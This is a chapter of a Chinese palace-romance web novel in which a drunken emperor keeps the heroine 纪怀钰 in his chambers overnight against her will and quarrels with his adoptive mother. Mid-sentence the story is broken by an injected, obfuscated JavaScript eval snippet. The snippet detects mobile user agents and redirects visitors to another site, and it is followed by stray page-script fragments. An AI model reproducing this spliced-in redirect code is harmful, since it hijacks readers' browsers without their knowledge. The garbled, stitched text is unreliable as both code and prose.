姜阿沅 作品

2. 众人皆知

入眼是内柱雕刻盘绕着栩栩如生的金龙,殿内烛光明明,左侧面芸帙,地面铺满蟒纹织金软垫,博山炉烟雾袅袅传出丝丝安息香味儿,往内走去,正中镶着颗红宝的髹金龙椅正置紫檀御案前。


不是立政殿,是宋辑宁的书房还是?


怀钰被他放下,稍有些站不稳,那斛酒宋辑宁没少灌她,一杯酒他一半她一半。


怀钰担心,“母亲她…”


似是不胜酒力,宋辑宁靠着怀钰的肩,怀钰下意识躲开,脚下不稳,两人一同跌坐在地,他嗓音微哑:“唯有如此,阿钰才会对朕温柔些。”


忆起从前,对他真未有过几分好脸色,先帝与父亲说他是诡谲之人,加之儿时看过不少庶子夺嫡话本,对他未有好印象,避之不及。


可今他即位,不似先帝那般仅启用世家大族,渐有黎民入仕,其中不乏博古通今之才,纪氏如今既无兵权又无人得以入朝,家道中落,怀钰就是再如何,亦不敢在此刻得罪宋辑宁。


她最害怕,是失去身边人,且他如今还用母亲的性命威胁她。


似是看穿她所想,宋辑宁心底苦涩,“你放心,待你母亲腿疾好些,朕会送她出宫。”他仅想留着她在身边,仅此而已。


门外宫人偏在此时通传:“陛下,淑太妃来了。”


淑太妃是宋辑宁养母,嫡母在世,太后之名怎么也落不到她身上。


怀钰伸手嫌弃地推了推靠在她肩上的人,见淑太妃已到殿中,宋辑宁方才不舍的起身,半蹲下环住怀钰膝头,将她抱起置于一旁的圈椅上,他想再醉会儿。


宋辑宁面斥不悦,连问安都忘了问,“母妃怎么来了?”


怀钰望过去,她在宫中生活数年,这还是头次见到宋辑宁养母,起身依着规矩行礼。


淑太妃端详怀钰一眼,如海棠醉日,见着发间那支青鸾簪,知是传言中与先帝有过婚约的临安侯家独女,转身将宋辑宁往内殿叫去:“陛下,哀家有话同你说。”


被这一盯怀钰心口倏然蹿起紧张,手绞着衣袖的布料,殿内宦官颇有眼力,将她带到东偏殿,让人端去上好茶点。


想来定是傅霓旌又去找淑太妃哭诉了。


刚踏进内殿,淑太妃便不停劝诫:“哀家知晓你不喜霓旌,可她到底是你的结发妻子,再是如何你皆要给足她脸面。”


傅霓旌是朝中重臣逼着他所娶,淑太妃知他不喜,可登得帝位傅家出却不少力,如此过河拆桥之举,易遭人诟病。


“哀家不求什么,只愿你好好待自己的发妻。”


当这么多人的面拂傅霓旌面子,傅霓旌亦只敢到淑太妃面前诉诉苦,宋辑宁向来面容冷肃,说一不二,傅霓旌怎敢在他面前多言任何。


见宋辑宁默声,淑太妃语重心长:“名义上,纪怀钰还是你皇兄未过门的妻子,你与她,怎么可以…”怎么可以如此有悖纲纪,话未说明。


宋辑宁不在乎这些,道出心中所想:“既未礼成,况且他已身死,便算不得。”她如今孑然一身,他同她如何都是合乎礼。


淑太妃不知如何再劝,她亦未有脸面去要求宋辑宁远离怀钰,“哀家不要求其他,对霓旌好些,结发妻子…”她只这一个请求。


宋辑宁不耐烦地打断了淑太妃的话,“母妃还请回去。”每次说来说去不过是这几句,他对她已尽赡养之责,母子之情淡如水,他没什么好言明的。


见淑太妃不为所动,宋辑宁朝门外的裴朝隐喊去:“裴卿,送淑太妃回去。”


以往亦是,宋辑宁若是被淑太妃劝得烦了就会让裴朝隐送她回去。


淑太妃摇头叹息着,只说着作孽。


宋辑宁常想世人不是说母爱子如爱己,为何他的母亲,从前利用他争宠,如今丝毫不顾及他,每每想起都心痛。


邹荣轻轻叩了叩门,听里面没有传来震怒的声音才开口:“陛下,纪姑娘吵着要回侯府去。”


偏殿烛光点亮少,略呈昏暗,怀钰待着害怕,况且外边天色渐晚,若是宫门落锁,她今夜就出不去了,怀钰是想着可以趁此间隙独自离去,奈何这里这些奴才连偏殿都不放她出去。


好一会儿,内殿才传来声音:“将她带过来。”


宋辑宁在侍女的服侍下褪去外袍,怀钰并不知此处是寝殿,房门虚掩,带她来的人亦没提醒她,进来时刚好见到宽衣一幕,惊得退后,紧闭合房门。


殿内传来宋辑宁低低笑声,邹荣看向怀钰,又听得里面的笑声,想起陛下那几日期盼纪少主到来的喜悦,心中亦是喜悦,邹荣一路跟着宋辑宁走来,鲜有见得宋辑宁如此高兴之时。


下一瞬房门被侍女从内里打开,宋辑宁其实仅是脱去外袍,里面烧了数炉盆银丝碳,又喝了些酒,有些热。


看着出来好几个侍女,端着换下的衣袍,怀钰讥诮:“陛下一直有这么些人伺候?”宋辑宁听得这话笑得缱绻,伸手揽她后背将她带进去,反手关门。


夜阑深沉,宫门落锁。


邹荣让侍女去传唤彤史前来,虽说知晓陛下不是举止轻浮之人,总归以防万一呢。


宋辑宁一步步将怀钰逼至床榻前,欺身靠近她,怀钰避无可避,跌坐在榻上,她这可算是羊入虎口?


怀钰侧过脸去,不看他。


近乎恳求的语气,“忘了他,阿钰,忘了他…”忘了他,和他在一起,他会护她一生,只是这后半句宋辑宁未敢说出口,这前半句都是他借着酒劲说出来的,他这般内敛的人从未说过这些话。


见怀钰又要以沉默逃避他的问话,宋辑宁钳住她的下颌掰正她的脸,深邃的双眸凝视着她,怀钰忽的心跳得厉害,想退缩,华贵,威严,她都差点忘却她眼前这人今是说一不二的天子。


不知这两年究竟发生了什么,他哪还有从前那少年温润的半点模样,抬手想推开他,却被他反握住手腕,怀钰错愕,“放我走吧陛下,夜深了。”


宋辑宁置若罔闻,受不了如此炽热的目光,又被他钳着下颌,怀钰只能低垂了眼,“阿钰怎会不知,朕的心意。”他轻轻一吻落在怀钰柔荑。


她知晓,她一直都知晓,可她对他从未有过半点逾矩的感情,“陛下已是九五之尊,这天下有这么多女子…”


宋辑宁眼中满含珍视,不等她说完,“可朕独想要阿钰一人。”耍赖般将她拥着,下颌靠着她的肩。


衣襟透入湿意,尊贵的天子,竟为她落泪。


怀钰恼他为何要捅破这层纸,若是什么都不说,再怎么他也是先帝的皇弟,她还能将他当做亲人一般对待。


她想问他为何要弑先帝,可就如父亲所说,她无力反抗皇权,知晓亦无用,反倒会给自己的氏族招惹祸端。


进平阳之前她想及好些要问他的话,现下却只觉无力,那些话她现下连问都无力问了,裴朝隐出现在他身边就是最好的答案。


先帝与她青梅竹马,携手共渡数十年战乱苦日,救她世族诸人,护她十几年周全,生死与共的感情,宋辑宁永远都不会明白的。


思及此,怀钰睫毛微微翕动,泪珠潸然而下,宋辑宁以为是自己刚


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040833|162519||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


刚的冒犯,急忙放开她,将腰间锦袋中的尺素抽出给她擦泪,动作轻柔至极。


外面正是下雪时,入夜未关窗,寒风吹灭炉盆中烧的碳,吹乱额前发丝,寒意沁入,怀钰不免打了冷颤。


宋辑宁将一旁木椸上的披氅取来裹在怀钰身上,去闭合窗,重新拨了碳。


此刻房内寂静,怀钰坐在塌上不知如何是好。


屋外,两位彤史坐于门前,还有一旁侍女端着的托盘中,备有新的寝衣,以及沐浴的棉帛,邹荣还让人一直备着热水。


“过了今夜,明日所有人都会知道,朕与你才是一对璧人。”宋辑宁在怀钰耳旁笑着,甚是得意。


怀钰瞪他一眼,“疯子。”连降两道圣旨逼迫她进宫时她就知他不会轻易放她,可亦没想到他会这么无耻,强留她于宫中,抬手甩过去。


宋辑宁稳稳接住,“这是你这半日第几次想打朕?”他的声音带有些许怒意。


怀钰不语,只能委屈地坐在榻上。


边城,宋辑宁早早派人告知临安侯,他会留着怀钰在宫中,叫他宽心,侯夫人进宫一方面是她自己想见见怀钰是否无碍,另一方面确实是宋辑宁为了医治她的腿疾。


怀钰的亲人,便也是他应该珍视的人,他定会好好待之。


只有怀钰原以为自己好些年没回平阳,侯府空置,今夜能回去瞧瞧。


“宋辑宁,你还能再腼颜人世些?”怀钰没好气地骂他,她再反抗有什么用,他碾死她易如反掌。


没理会怀钰斥他的话,宋辑宁吹灭几盏室内的烛光,怀钰怕黑,此刻又不怎么能看见他,心下不免有些不安。


宋辑宁将她拥至塌上,温热紧贴,“陪朕一会儿。”心上人在侧,他甚是依赖。


就像从前在宫中遭人欺负了,怀钰去给他送药,他对着怀钰说‘阿钰,陪陪我’,只是两人心境再不复从前。


家宴上饮进不少酒,许是想借酒消愁,宋辑宁此刻搂着怀钰睡得安心,两人就这么和衣挨着。


待宋辑宁沉睡,怀钰抚了抚他紧皱的眉头,低声喃喃:“辑宁,你从前不是这般。”是她天真,还妄想着他能把她当做亲人一般对待。


怀钰轻轻拨开他的手起身,透过房门依稀可见人影幢幢,她此刻,该怎么出去。


听得内里的脚步声,邹荣问道:“陛下,可要送水进来?”


他们莫不是以为殿内已结琴瑟之好?怀钰无奈,“送些茶水进来。”她刚想倒杯,才发现茶已凉透。


阿云进来见室内这么黑,重新点亮两盏烛光。


怀钰坐在矮桌案旁抿了口茶,御用的岩茶确实唇齿留香,是上好的茶,回头看着宋辑宁的睡颜,“给陛下熬些醒酒的汤药来,再去,给我收拾间偏殿。”


阿云虽然不知道这姑娘是何身份,还是点头答应。


两位彤史女官见怀钰走出来,有些诧异,她们这亦是头次被叫来记录天子夜间起居。


怀钰往偏殿踏去,却被邹荣拦住去路,“按着规矩,您今夜哪都不能去。”本想开口叫纪姑娘的,一时不知要怎么称呼。


天子醉酒休息,陪侍的人怎能离开。


“若有什么,我自己担着。”却见众人还是拦着她,宫中规矩她一应知晓,也是,彤史都来了,怎么会放她离开。


宋辑宁还算规矩,只是小耍会儿酒疯,未做什么旁的。


怀钰只好悻悻而归,她要如何自处,她真不知晓,宋辑宁的披氅甚是暖和,后半夜还是扛不住睡意,怀钰趴在桌案上沉沉睡去。